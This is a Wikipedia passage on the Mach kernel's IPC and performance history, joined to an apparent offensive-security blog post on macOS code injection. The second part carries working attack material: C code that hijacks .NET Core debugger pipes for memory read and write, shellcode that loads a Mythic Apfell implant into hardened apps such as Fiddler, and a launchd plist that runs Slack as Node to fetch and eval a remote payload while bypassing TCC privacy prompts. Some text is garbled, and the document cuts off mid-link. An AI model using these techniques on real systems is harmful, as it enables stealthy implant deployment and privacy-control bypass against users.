The IPC system initially had performance problems, so a few strategies were developed to 
minimize the impact. Like its predecessor, Accent, Mach used a single shared-memory 
mechanism for physically passing the message from one program to another. Physically 
copying the message would be too slow, so Mach relies on the machine's memory 
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management unit (MMU) to quickly map the data from one program to another. Only if the 
data is written to would it have to be physically copied, a process called "copy-on-write". 

Messages were also checked for validity by the kernel, to avoid bad data crashing one of 
the many programs making up the system. Ports were deliberately modeled on the UNIX 
file system concepts. This allowed the user to find ports using existing file system 
navigation concepts, as well as assigning rights and permissions as they would on the file 
system. 

Development under such a system would be easier. Not only would the code being worked 
on exist in a traditional program that could be built using existing tools, it could also be 
started, debugged and killed off using the same tools. With a monokernel a bug in new 
code would take down the entire machine and require a reboot, whereas under Mach this 
would require only that the program be restarted. Additionally the user could tailor the 
system to include, or exclude, whatever features they required. Since the operating system 
was simply a collection of programs, they could add or remove parts by simply running or 
killing them as they would any other program. 

Finally, under Mach, all of these features were deliberately designed to be extremely 
platform neutral. To quote one text on Mach: 

Unlike UNIX, which was developed without regard for multiprocessing, Mach 

incorporates multiprocessing support throughout. Its multiprocessing support is also 

exceedingly flexible, ranging from shared memory systems to systems with no 

memory shared between processors. Mach is designed to run on computer 

systems ranging from one to thousands of processors. In addition, Mach is easily 

ported to many varied computer architectures. A key goal of Mach is to be a 

distributed system capable of functioning on heterogeneous hardware.[8] 

There are a number of disadvantages, however. A relatively mundane one is that it is 
not clear how to find ports. Under UNIX this problem was solved over time as 
programmers agreed on a number of "well known" locations in the file system to serve 
various duties. While this same approach worked for Mach's ports as well, under Mach 
the operating system was assumed to be much more fluid, with ports appearing and 
disappearing all the time. Without some mechanism to find ports and the services they 
represented, much of this flexibility would be lost. 

Development[edit] 

Mach was initially hosted as additional code written directly into the existing 4.2BSD 
kernel, allowing the team to work on the system long before it was complete. Work 
started with the already functional Accent IPC/port system, and moved on to the other 
key portions of the OS, tasks and threads and virtual memory. As portions were 
completed various parts of the BSD system were re-written to call into Mach, and a 
change to 4.3BSD was also made during this process. 

By 1986 the system was complete to the point of being able to run on its own on 
the DEC VAX. Although doing little of practical value, the goal of making a microkernel 
was realized. This was soon followed by versions on the IBM RT PC and for Sun 
Microsystems 68030-based workstations, proving the system's portability. By 1987 the 
list included the Encore Multimax and Sequent Balance machines, testing Mach's 
ability to run on multiprocessor systems. A public Release 1 was made that year, and 
Release 2 followed the next year. 

Throughout this time the promise of a "true" microkernel was not yet being delivered. 
These early Mach versions included the majority of 4.3BSD in the kernel, a system 
known as POE Server, resulting in a kernel that was actually larger than the UNIX it 
was based on. The idea, however, was to move the UNIX layer out of the kernel into 
user-space, where it could be more easily worked on and even replaced outright. 
Unfortunately performance proved to be a major problem, and a number of 
architectural changes were made in order to solve this problem. Unwieldy UNIX 
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licensing issues were also plaguing researchers, so this early effort to provide a non-
licensed UNIX-like system environment continued to find use, well into the further 
development of Mach. 

The resulting Mach 3 was released in 1990, and generated intense interest. A small 
team had built Mach and ported it to a number of platforms, including complex 
multiprocessor systems which were causing serious problems for older-style kernels. 
This generated considerable interest in the commercial market, where a number of 
companies were in the midst of considering changing hardware platforms. If the 
existing system could be ported to run on Mach, it would seem it would then be easy to 
change the platform underneath. 

Mach received a major boost in visibility when the Open Software Foundation (OSF) 
announced they would be hosting future versions of OSF/1 on Mach 2.5, and were 
investigating Mach 3 as well. Mach 2.5 was also selected for the NeXTSTEP system 
and a number of commercial multiprocessor vendors. Mach 3 led to a number of efforts 
to port other operating systems parts for the microkernel, including IBM's Workplace 
OS and several efforts by Apple to build a cross-platform version of the classic Mac 
OS.[9] 

Performance issues[edit] 

Mach was originally intended to be a replacement for classical monolithic UNIX, and for 
this reason contained many UNIX-like ideas. For instance, Mach used a permissioning 
and security system patterned on UNIX's file system. Since the kernel was privileged 
(running in kernel-space) over other OS servers and software, it was possible for 
malfunctioning or malicious programs to send it commands that would cause damage 
to the system, and for this reason the kernel checked every message for validity. 
Additionally most of the operating system functionality was to be located in user-space 
programs, so this meant there needed to be some way for the kernel to grant these 
programs additional privileges, to operate on hardware for instance. 

Some of Mach's more esoteric features were also based on this same IPC mechanism. 
For instance, Mach was able to support multi-processor machines with ease. In a 
traditional kernel extensive work needs to be carried out to make 
it reentrant or interruptible, as programs running on different processors could call into 
the kernel at the same time. Under Mach, the bits of the operating system are isolated 
in servers, which are able to run, like any other program, on any processor. Although in 
theory the Mach kernel would also have to be reentrant, in practice this is not an issue 
because its response times are so fast it can simply wait and serve requests in turn. 
Mach also included a server that could forward messages not just between programs, 
but even over the network, which was an area of intense development in the late 1980s 
and early 1990s. 

Unfortunately, the use of IPC for almost all tasks turned out to have serious 
performance impact. Benchmarks on 1997 hardware showed that Mach 3.0-
based UNIX single-server implementations were about 50% slower than native 
UNIX.[10][11] 

Study of the exact nature of the performance problems turned up a number of 
interesting facts. One was that the IPC itself was not the problem: there was some 
overhead associated with the memory mapping needed to support it, but this added 
only a small amount of time to making a call. The rest, 80% of the time being spent, 
was due to additional tasks the kernel was running on the messages. Primary among 
these was the port rights checking and message validity. In benchmarks on an 486DX-
50, a standard UNIX system call took an average of 21μs to complete, while the 
equivalent operation with Mach IPC averaged 114μs. Only 18μs of this was hardware 
related; the rest was the Mach kernel running various routines on the 
message.[12] Given a syscall that does nothing, a full round-trip under BSD would 
require about 40μs, whereas on a user-space Mach system it would take just under 
500μs. 
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When Mach was first being seriously used in the 2.x versions, performance was slower 
than traditional monolithic operating systems, perhaps as much as 25%.[1] This cost 
was not considered particularly worrying, however, because the system was also 
offering multi-processor support and easy portability. Many felt this was an expected 
and acceptable cost to pay. When Mach 3 attempted to move most of the operating 
system into user-space, the overhead became higher still: benchmarks between Mach 
and Ultrix on a MIPS R3000 showed a performance hit as great as 67% on some 
workloads.[13] 

For example, getting the system time involves an IPC call to the user-space server 
maintaining system clock. The caller first traps into the kernel, causing a context switch 
and memory mapping. The kernel then checks that the caller has required access 
rights and that the message is valid. If it is, there is another context switch and memory 
mapping to complete the call into the user-space server. The process must then be 
repeated to return the results, adding up to a total of four context switches and memory 
mappings, plus two message verifications. This overhead rapidly compounds with more 
complex services, where there are often code paths passing through many servers. 

This was not the only source of performance problems. Another centered on the 
problems of trying to handle memory properly when physical memory ran low and 
paging had to occur. In the traditional monolithic operating systems the authors had 
direct experience with which parts of the kernel called which others, allowing them to 
fine-tune their pager to avoid paging out code that was about to be used. Under Mach 
this was not possible because the kernel had no real idea what the operating system 
consisted of. Instead they had to use a single one-size-fits-all solution, which added to 
the performance problems. Mach 3 attempted to address this problem by providing a 
simple pager, relying on user-space pagers for better specialization. But this turned out 
to have little effect. In practice, any benefits it had were wiped out by the expensive IPC 
needed to call it in. 

Other performance problems were related to Mach's support 
for multiprocessor systems. From the mid-1980s to the early 1990s, commodity CPUs 
grew in performance at a rate of about 60% a year, but the speed of memory access 
grew at only 7% a year. This meant that the cost of accessing memory grew 
tremendously over this period, and since Mach was based on mapping memory around 
between programs, any "cache miss" made IPC calls slow. 

Potential solutions[edit] 

IPC overhead is a major issue for Mach 3 systems. However, the concept of a multi-
server operating system is still promising, though it still requires some research. The 
developers have to be careful to isolate code into modules that do not call from server 
to server. For instance, the majority of the networking code would be placed in a single 
server, thereby minimizing IPC for normal networking tasks. 

Most developers instead stuck with the original POE concept of a single large server 
providing the operating system functionality.[14] In order to ease development, they 
allowed the operating system server to run either in user-space or kernel-space. This 
allowed them to develop in user-space and have all the advantages of the original 
Mach idea, and then move the debugged server into kernel-space in order to get better 
performance. Several operating systems have since been constructed using this 
method, known as co-location, among them Lites, MkLinux, OSF/1, and 
NeXTSTEP/OPENSTEP/macOS. The Chorus microkernel made this a feature of the 
basic system, allowing servers to be raised into the kernel space using built-in 
mechanisms. 

Mach 4 attempted to address these problems, this time with a more radical set of 
upgrades. In particular, it was found that program code was typically not writable, so 
potential hits due to copy-on-write were rare. Thus it made sense to not map the 
memory between programs for IPC, but instead migrate the program code being used 
into the local space of the program. This led to the concept of "shuttles" and it seemed 
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performance had improved, but the developers moved on with the system in a semi-
usable state. Mach 4 also introduced built-in co-location primitives, making it a part of 
the kernel itself. 

By the mid-1990s, work on microkernel systems was largely stagnant, although the 
market had generally believed that all modern operating systems would be microkernel 
based by the 1990s. The primary remaining widespread uses of the Mach kernel are 
Apple's macOS and its sibling iOS, which run atop a heavily modified hybrid Open 
Software Foundation Mach Kernel (OSFMK 7.3) called "XNU"[15] also used 
in OSF/1.[9] In XNU, the file systems, networking stacks, and process and memory 
management functions are implemented in the kernel; and file system, networking, and 
some process and memory management functions are invoked from user mode via 
ordinary system calls rather than message passing;[16][17] XNU's Mach messages are 
used for communication between user-mode processes, and for some requests from 
user-mode code to the kernel and from the kernel to user-mode servers. 

Second-generation microkernels[edit] 

Further analysis demonstrated that the IPC performance problem was not as obvious 
as it seemed. Recall that a single-side of a syscall took 20μs under BSD[3] and 114μs 
on Mach running on the same system.[2] Of the 114, 11 were due to the context switch, 
identical to BSD.[11] An additional 18 were used by the MMU to map the message 
between user-space and kernel space.[3] This adds up to only 29μs, longer than a 
traditional syscall, but not by much. 

The rest, the majority of the actual problem, was due to the kernel performing tasks 
such as checking the message for port access rights.[5] While it would seem this is an 
important security concern, in fact, it only makes sense in a UNIX-like system. For 
instance, a single-user operating system running a cell phone or robot might not need 
any of these features, and this is exactly the sort of system where Mach's pick-and-
choose operating system would be most valuable. Likewise Mach caused problems 
when memory had been moved by the operating system, another task that only really 
makes sense if the system has more than one address space. DOS and the early Mac 
OS have a single large address space shared by all programs, so under these systems 
the mapping did not provide any benefits. 

These realizations led to a series of second generation microkernels, which further 
reduced the complexity of the system and placed almost all functionality in the user 
space. For instance, the L4 kernel (version 2) includes only seven system calls and 
uses 12k of memory,[3] whereas Mach 3 includes about 140 functions and uses about 
330k of memory.[3] IPC calls under L4 on a 486DX-50 take only 5μs,[17] faster than a 
UNIX syscall on the same system, and over 20 times as fast as Mach. Of course this 
ignores the fact that L4 is not handling permissioning or security; but by leaving this to 
the user-space programs, they can select as much or as little overhead as they require. 

The potential performance gains of L4 are tempered by the fact that the user-space 
applications will often have to provide many of the functions formerly supported by the 
kernel. In order to test the end-to-end performance, MkLinux in co-located mode was 
compared with an L4 port running in user-space. L4 added about 5%–10% 
overhead,[11] compared to Mach's 29%.[11] 

https://en.wikipedia.org/wiki/Mach_(kernel) 

MacOS Injection via Third Party Frameworks 

 

 

Since joining the TrustedSec AETR team, I have been spending a bit 
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of time looking at tradecraft for MacOS environments, which, 

unfortunately for us attackers, are getting tougher to attack 

compared to their Windows peers. With privacy protection, 

sandboxing, and endless entitlement dependencies, operating via 

an implant on a MacOS-powered device can be a minefield. 

Process injection is one example of the post-exploitation kill chain 

that Apple has put considerable effort into locking down. 

Historically, we used to be able to call task_for_pid on a target 

process, retrieve its Mach port, and begin the mach_vm_ dance to 

allocate and read/write memory. Fast-forward to today, and these 

APIs have been heavily restricted, with only the root user permitted 

to call these functions. That is, of course, as long as the binary is 

not using the hardened runtime and the target is not an Apple 

signed binary, which are both exempt from even the root user 

peering into their memory. 

In this post, we are going to take a look at a couple of interesting 

methods of leveraging third-party technologies to achieve our code 

injection goals. For us, this translates to running code in the context 

of a target application without having to resort to disabling System 

Integrity Protection (SIP). 

Note: Both of the techniques shown in this post are not specific to 

MacOS. They will work on Linux and Windows systems just fine, but 

this post focuses on their impact to MacOS due to the restrictions 

Apple implements on process injection. 

Let’s kick off by looking at a technology that should be familiar to us 

all, .NET Core. 

.NET Core 

Microsoft’s .NET Core framework is a popular cross-platform 

runtime and software development kit (SDK) for developing 



applications in our favorite .NET language. One of the more 

popular applications powered by the .NET Core runtime is the 

cross-platform version of PowerShell, which will act as our initial 

testbed for this post. 

To show the complications that we face when trying to inject into 

such a process on MacOS, let’s try the traditional way of injecting 

via the task_for_pid API. A simple way to do this is using: 

kern_return_t kret; 

mach_port_t task; 

 

kret = task_for_pid(mach_task_self(), atoi(argv[1]), 

&task); 

if (kret!=KERN_SUCCESS) 

{ 

    printf("task_for_pid() failed: 

%s!\\n",mach_error_string(kret)); 

} else { 

    printf("task_for_pid() succeeded\\n"); 

} 

When run against our target PowerShell process, we receive the 

expected error: 

 

But what about if we run as root? Well, if we try against an 

application without the hardened runtime flag, we see that this 

works just fine: 

 



But as soon as we start targeting an application signed with the 

hardened runtime flag, we run into the same familiar error: 

 

What happens if we use something like lldb, which holds the 

powerful entitlement of com.apple.security.cs.debugger? 

Well, as a non-root user attempting to access a non-hardened 

process, we have more success, but we are also greeted with a nice 

dialog warning the target of our presence, making this impractical 

for a stealthy approach: 

 

And again, even if we are running lldb as root, we cannot debug a 

process using the hardened runtime: 

 



In summary, this means that we can only inject into our .NET Core 

process if we are root and the process has not been signed with 

the hardened runtime flag. 

With Apple’s APIs being useless to us at this point without a nice 

vulnerability, how else can we gain control over our target .NET 

Core process? To understand this, we should take a closer look at 

the runtime source, which is available here. 

.NET Core Debugging 

Let’s start at the beginning and try to understand just how a 

debugger such as Visual Studio Code is able to interact with a .NET 

Core process. 

If we take a look at the .NET Core source code 

within dbgtransportsession.cpp, which is responsible for 

handling debugger to debugee communication, we can see that a 

series of named pipes are created within the 

function DbgTransportSession::Init. 

These pipes in the case of MacOS (and *nix) are FIFO named pipes 

created using the following code: 

if (mkfifo(m_inPipeName, S_IRWXU) == -1) 

{ 

    return false; 

} 

 

unlink(m_outPipeName); 

 

if (mkfifo(m_outPipeName, S_IRWXU) == -1) 

{ 

    unlink(m_inPipeName); 

    return false; 

} 

https://github.com/dotnet/runtime
https://github.com/dotnet/runtime/blob/master/src/coreclr/src/debug/shared/dbgtransportsession.cpp
https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L89-L89


To see this in action, we can start up PowerShell and see that two 

named pipes are created within the current user’s $TMPDIRwith the 

PID and inor outappended: 

 

With the location and purpose of the named pipes understood, 

how do we communicate with our target process? The answer to 

this lies within the 

method DbgTransportSession::TransportWorker, which 

handles incoming connections from a debugger. 

Walking through the code, we see that the first thing a debugger is 

required to do is to create a new debugging session. This is done by 

sending a message via theout pipe beginning with 

a MessageHeader struct, which we can grab from the .NET source: 

struct MessageHeader 

{ 

    MessageType   m_eType;        // Type of message 

this is 

    DWORD         m_cbDataBlock;  // Size of data 

block that immediately follows this header (can be 

zero) 

    DWORD         m_dwId;         // Message ID 

assigned by the sender of this message 

    DWORD         m_dwReplyId;    // Message ID that 

this is a reply to (used by messages such as 

MT_GetDCB) 

    DWORD         m_dwLastSeenId; // Message ID last 

seen by sender (receiver can discard up to here from 

send queue) 

    DWORD         m_dwReserved;   // Reserved for 

future expansion (must be initialized to zero and 

                                            // never 

read) 

        union { 

            struct { 

https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1233


                DWORD         m_dwMajorVersion;   // 

Protocol version requested/accepted 

                DWORD         m_dwMinorVersion; 

            } VersionInfo; 

          ... 

        } TypeSpecificData; 

 

    BYTE                    m_sMustBeZero[8]; 

} 

In the case of a new session request, this struct is populated as 

follows: 

static const DWORD kCurrentMajorVersion = 2; 

static const DWORD kCurrentMinorVersion = 0; 

 

// Set the message type (in this case, we're 

establishing a session) 

sSendHeader.m_eType = MT_SessionRequest; 

 

// Set the version 

sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVe

rsion = kCurrentMajorVersion; 

sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVe

rsion = kCurrentMinorVersion; 

 

// Finally set the number of bytes which follow this 

header 

sSendHeader.m_cbDataBlock = 

sizeof(SessionRequestData); 

Once constructed, we send this over to the target using 

the write syscall: 

write(wr, &sSendHeader, sizeof(MessageHeader)); 

Following our header, we need to send over 

a sessionRequestData struct, which contains a GUID to identify 

our session: 

// All '9' is a GUID.. right?? 

memset(&sDataBlock.m_sSessionID, 9, 

sizeof(SessionRequestData)); 



 

// Send over the session request data 

write(wr, &sDataBlock, sizeof(SessionRequestData)); 

Upon sending over our session request, we read from the out pipe 

a header that will indicate if our request to establish whether a 

debugger session has been successful or not: 

read(rd, &sReceiveHeader, sizeof(MessageHeader)); 

All being well, at this stage we have established a debugger session 

with our target. So what functionality is available to us now that we 

can talk to the target process? Well, if we review the types of 

messages that the runtime exposes, we see two interesting 

primitives, MT_ReadMemory and MT_WriteMemory. 

These messages do exactly as you would expect—they allow us to 

read and write to the target process’s memory. The important 

consideration here is that we can read and write memory outside 

of the typical MacOS API calls, giving us a backdoor into a .NET Core 

process’s memory. 

Let’s start with attempting to read some memory from a target 

process. As with our session creation, we craft a header with: 

// We increment this for each request 

sSendHeader.m_dwId++; 

 

// This needs to be set to the ID of our previous 

response 

sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; 

 

// Similar to above, this indicates which ID we are 

responding to 

sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; 

 

// The type of request we are making 

sSendHeader.m_eType = MT_ReadMemory; 

 

// How many bytes will follow this header 

https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896
https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1918


sSendHeader.m_cbDataBlock = 0; 

This time, however, we also provide an address that we would like 

to read from the target: 

// Address to read from 

sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSi

deBuffer = (PBYTE)addr; 

 

// Number of bytes to read 

sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSi

deBuffer = len; 

Let’s test how this works against something like PowerShell by 

allocating some unmanaged memory using: 

[System.Runtime.InteropServices.Marshal]::StringToHG

lobalAnsi("HAHA, MacOS be protectin' me!") 

We see that we can easily read this memory using the proof of 

concept (POC) code found here. And the result: 

 

Of course, we can also do the opposite, by injecting into PowerShell 

using the MT_WriteMemory command to overwrite memory: 

https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b


 

The POC code used to do this can be found here. 

.NET Core Code execution 

With our focus on injecting code into PowerShell, how can we turn 

our read/write primitive into code execution? We also need to 

consider that we do not have the ability to change memory 

protection, meaning that we can only write to pages of memory 

marked writeable and executable if we want to introduce 

something like shellcode. 

In this situation we have a few options, but for our simple POC, let’s 

go with identifying an RWX page of memory and hosting our 

shellcode there. Of course, Apple has restricted our ability to 

enumerate the address space of a remote process. We do, 

however, have access to vmmap (thanks to Patrick Wardle, who 

shows this technique being used by TaskExplorer in his post here), 

which contains a number of entitlements, including the 

coveted com.apple.system-task-ports entitlement that allows 

the tool to access a target Mach port. 

If we execute vmmap -p [PID] against PowerShell, we see a 

number of interesting regions of memory suitable for hosting our 

code, highlighted below with ‘rwx/rwx’ permissions: 

https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5
https://objective-see.com/blog/blog_0x3E.html


 

Now that we know the address of where we will inject our 

shellcode, we need to find a place we can write to that will trigger 

our code execution. Function pointers make an ideal candidate 

here, and it does not take long to spot a number of candidates. The 

one we will go with is to overwrite a pointer within the Dynamic 

Function Table (DFT), which is used by the .NET Core runtime to 

provide helper functions for JIT compilation. A list of supported 

function pointers can be found within jithelpers.h. 

Finding a pointer to the DFT is actually straightforward, especially if 

we use the mimikatz-esque signature hunting technique to search 

through libcorclr.dll for a reference to the 

symbol _hlpDynamicFuncTable, which we can dereference: 

 

https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h


All that is left to do is to find an address from which to start our 

signature search. To do this, we leverage another exposed 

debugger function, MT_GetDCB. This returns a number of useful 

bits of information on the target process, but for our case, we are 

interested in a field returned containing the address of a helper 

function, m_helperRemoteStartAddr. Using this address, we 

know just where libcorclr.dll is located within the target 

process memory and we can start our search for the DFT. 

Now that we have all the pieces we need to inject and execute our 

code, let’s attempt to write some shellcode to an RWX page of 

memory and transfer code execution via the DFT. Our shellcode in 

this case will be quite straightforward by simply showing a message 

on the PowerShell prompt before returning execution back to the 

CLR (hopefully avoiding a crash): 

[BITS 64] 

 

section .text 

_start: 

; Avoid running multiple times 

    cmp byte [rel already_run], 1 

    je skip 

 

; Save our regs 

    push rax 

    push rbx 

    push rcx 

    push rdx 

    push rbp 

    push rsi 

    push rdi 

 

; Make our write() syscall 

    mov rax, 0x2000004 

    mov rdi, 1 

    lea rsi, [rel msg] 

    mov rdx, msg.len 

    syscall 

 



; Restore our regs 

    pop rdi 

    pop rsi 

    pop rbp 

    pop rdx 

    pop rcx 

    pop rbx 

    pop rax 

    mov byte [rel already_run], 1 

 

skip: 

; Return execution (patched in later by our loader) 

    mov rax, 0x4141414141414141 

    jmp rax 

 

msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test 

by @_xpn_',0xa,0xa 

.len: equ $ - msg 

already_run: db 0 

With our shellcode crafted, let’s put everything together and see 

how this looks when executed: 

https://www.youtube.com/watch?time_continue=2&v=KqTIrB_WUg

A&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&source_ve

_path=Mjg2NjY&feature=emb_logo&ab_channel=AdamChester 

Does The Hardened Runtime Stop This? 

So now that we have the ability to inject into a .NET Core process, 

the obvious question is… does the hardened runtime stop this? 

From what I have seen, setting the hardened runtime flag has no 

impact on debugging pipes being exposed to us, which means that 

apps that are signed along with the hardened runtime flag still 

expose the IPC debug functionality required for this type of 

injection to occur. 

For example, let’s take another popular application that has been 

signed, notarized, and has the hardened runtime flag enabled, 

Fiddler: 

https://www.youtube.com/watch?time_continue=2&v=KqTIrB_WUgA&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&source_ve_path=Mjg2NjY&feature=emb_logo&ab_channel=AdamChester
https://www.youtube.com/watch?time_continue=2&v=KqTIrB_WUgA&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&source_ve_path=Mjg2NjY&feature=emb_logo&ab_channel=AdamChester
https://www.youtube.com/watch?time_continue=2&v=KqTIrB_WUgA&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&source_ve_path=Mjg2NjY&feature=emb_logo&ab_channel=AdamChester


 

Here we find the hardened runtime flag set, but as we can see, 

starting the application still results in debug pipes being created: 

 

Let’s make sure that everything still works as expected by 

attempting to injecting some shellcode into Fiddler. This time, we 

will do something a bit more useful and inject the Apfell implant 

from Cody Thomas‘ Mythic framework into the victim process. 

There are several ways to do this, but to keep things simple, we will 

use the wNSCreateObjectFileImageFromMemory method to 

load a bundle from disk: 

[BITS 64] 

 

NSLINKMODULE_OPTION_PRIVATE equ 0x2 

 

section .text 

_start: 

    cmp byte [rel already_run], 1 

    je skip 

 

; Update our flag so we don't run every time 

    mov byte [rel already_run], 1 

https://twitter.com/its_a_feature_
https://github.com/its-a-feature/Mythic


 

; Store registers for later restore 

    push rax 

    push rbx 

    push rcx 

    push rdx 

    push rbp 

    push rsi 

    push rdi 

    push r8 

    push r9 

    push r10 

    push r11 

    push r12 

    push r13 

    push r14 

    push r15 

 

    sub rsp, 16 

 

; call malloc 

    mov rdi, [rel BundleLen] 

    mov rax, [rel malloc] 

    call rax 

    mov qword [rsp], rax 

 

; open the bundle 

    lea rdi, [rel BundlePath] 

    mov rsi, 0 

    mov rax, 0x2000005 

    syscall 

 

; read the rest of the bundle into alloc memory 

    mov rsi, qword [rsp] 

    mov rdi, rax 

    mov rdx, [rel BundleLen] 

    mov rax, 0x2000003 

    syscall 

 

    pop rdi 

    add rsp, 8 

 

; Then we need to start loading our bundle 

    sub rsp, 16 

    lea rdx, [rsp] 



    mov rsi, [rel BundleLen] 

    mov rax, [rel NSCreateObjectFileImageFromMemory] 

    call rax 

 

    mov rdi, qword [rsp] 

    lea rsi, [rel symbol] 

    mov rdx, NSLINKMODULE_OPTION_PRIVATE 

    mov rax, [rel NSLinkModule] 

    call rax 

 

    add rsp, 16 

    lea rsi, [rel symbol] 

    mov rdi, rax 

    mov rax, [rel NSLookupSymbolInModule] 

    call rax 

 

    mov rdi, rax 

    mov rax, [rel NSAddressOfSymbol] 

    call rax 

 

; Call our bundle exported function 

    call rax 

 

; Restore previous registers 

    pop r15 

    pop r14 

    pop r13 

    pop r12 

    pop r11 

    pop r10 

    pop r9 

    pop r8 

    pop rdi 

    pop rsi 

    pop rbp 

    pop rdx 

    pop rcx 

    pop rbx 

    pop rax 

 

; Return execution  

skip: 

    mov rax, [rel retaddr] 

    jmp rax 

 



symbol: db '_run',0x0 

already_run: db 0 

 

; Addresses updated by launcher 

retaddr:                dq 0x4141414141414141 

malloc:                 dq 0x4242424242424242 

NSCreateObjectFileImageFromMemory: dq 

0x4343434343434343 

NSLinkModule:           dq 0x4444444444444444 

NSLookupSymbolInModule: dq 0x4545454545454545 

NSAddressOfSymbol:      dq 0x4646464646464646 

BundleLen:              dq 0x4747474747474747 

 

; Path where bundle is stored on disk 

BundlePath:             resb 0x20 

The Bundle we will load acts as a very simple JXA execution cradle: 

#include <stdio.h> 

#include <pthread.h> 

#import <Foundation/Foundation.h> 

#import <OSAKit/OSAKit.h> 

 

void threadStart(void* param) { 

    OSAScript *scriptNAME= [[OSAScript alloc] 

initWithSource:@"eval(ObjC.unwrap( 

$.NSString.alloc.initWithDataEncoding( 

$.NSData.dataWithContentsOfURL( 

$.NSURL.URLWithString('<http://127.0.0.1:8111/apfell

-4.js>')), $.NSUTF8StringEncoding)));" 

language:[OSALanguage languageForName:@"JavaScript"] 

]; 

    NSDictionary * errorDict = nil; 

    NSAppleEventDescriptor * returnDescriptor = 

[scriptNAME executeAndReturnError: &errorDict]; 

} 

 

int run(void) { 

#ifdef STEAL_THREAD 

    threadStart(NULL); 

#else 

    pthread_t thread; 

    pthread_create(&thread, NULL, &threadStart, 

NULL); 

#endif 



} 

If we now follow the exact same steps as before to achieve our 

code injection, targeting Fiddler’s .NET Core WebUI process, we see 

that we are able to inject the Apfell implant within a hardened 

process without any issue and spawn an implant: 

https://www.youtube.com/watch?v=-

e4OrX2nmeY&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F

&feature=emb_imp_woyt&ab_channel=AdamChester 

The POC code for injecting the Apfell implant can be found here. 

OK, so now that we see just how useful these hidden functions of a 

runtime can be, is this an isolated case with .NET Core? Fortunately 

not. Let’s take a look at another framework that is found scattered 

throughout Apple’s App Store… Electron. 

Electron Hijacking 

As we all know by now, Electron is a framework that allows web 

applications to be ported to the desktop and is used to safely store 

RAM until it is needed later. 

How then can we go about executing code within a signed and 

hardened Electron app? Introducing the environment 

variable: ELECTRON_RUN_AS_NODE. 

This environment variable is all it takes to turn an Electron 

application into a regular old NodeJS REPL. For example, let’s take a 

popular application from the App Store, such as Slack, and launch 

the process with the ELECTRON_RUN_AS_NODE environment 

variable set: 

 

You will see that this also works with Visual Studio Code: 

https://www.youtube.com/watch?v=-e4OrX2nmeY&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&feature=emb_imp_woyt&ab_channel=AdamChester
https://www.youtube.com/watch?v=-e4OrX2nmeY&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&feature=emb_imp_woyt&ab_channel=AdamChester
https://www.youtube.com/watch?v=-e4OrX2nmeY&embeds_euri=https%3A%2F%2Fblog.xpnsec.com%2F&feature=emb_imp_woyt&ab_channel=AdamChester
https://gist.github.com/xpn/ce5e085b0c69d27e6538179e46bcab3c


 

Discord… 

 

and even Bloodhound: 

 

I would love to say that this is some l33t 0day, but it is actually 

published right there in the documentation 

(https://www.electronjs.org/docs/api/environment-

variables#electron_run_as_node). 

So, what does this mean for us? Again, on a MacOS environment, 

this means that, should an application be of interest, or privacy 

controls (Transparency, Consent, and Control, or TCC) be permitted 

against an Electron application, we can trivially execute the signed 

and hardened process along with 

the ELECTRON_RUN_AS_NODE environment variable and simply 

pass our NodeJS code to be executed. 

Let’s take Slack (although any Electron app will work fine) and 

attempt to leverage its commonly permitted access to areas like 

Desktop and Documents to work around TCC. With MacOS, a child 

process will inherit the TCC permissions from a parent process, so 

this means that we can use NodeJS to spawn a child process, such 

as Apfell’s implant, which will inherit all those nice permitted 

privacy toggles granted by the user. 

To do this, we are going to use launchd to spawn our Electron 

process using a plist like this: 

<?xml version="1.0" encoding="UTF-8"?> 

https://www.electronjs.org/docs/api/environment-variables#electron_run_as_node
https://www.electronjs.org/docs/api/environment-variables#electron_run_as_node


<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 

"<http://www.apple.com/DTDs/PropertyList-1.0.dtd>"> 

<plist version="1.0"> 

<dict> 

    <key>EnvironmentVariables</key> 

    <dict> 

           <key>ELECTRON_RUN_AS_NODE</key> 

           <string>true</string> 

    </dict> 

    <key>Label</key> 

    <string>com.xpnsec.hideme</string> 

    <key>ProgramArguments</key> 

    <array> 

        

<string>/Applications/Slack.app/Contents/MacOS/Slack

</string> 

        <string>-e</string> 

        <string>const { spawn } = 

require("child_process"); spawn("osascript", ["-

l","JavaScript","-

e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEn

coding( $.NSData.dataWithContentsOfURL( 

$.NSURL.URLWithString('<http://stagingserver/apfell.

js>')), $.NSUTF8StringEncoding)));"]);</string> 

    </array> 

    <key>RunAtLoad</key> 

    <true/> 

</dict> 

</plist> 

Then we can task launchd to load our plist and start Slack using 

the ELECTRON_RUN_AS_NODE environment variable, executing 

Apfell via OSAScript: 

launchctl load /tmp/loadme.plist 

If everything goes well, you will be kicked back a shell, as expected: 

 



Normally, at this point you would expect to see privacy prompts 

being shown to the user when we request something 

like ~/Downloads, but as we are now spawned as a child of Slack, 

we can use its inherited privacy permissions: 

https://www.youtube.com/watch?v=1_3Q00-

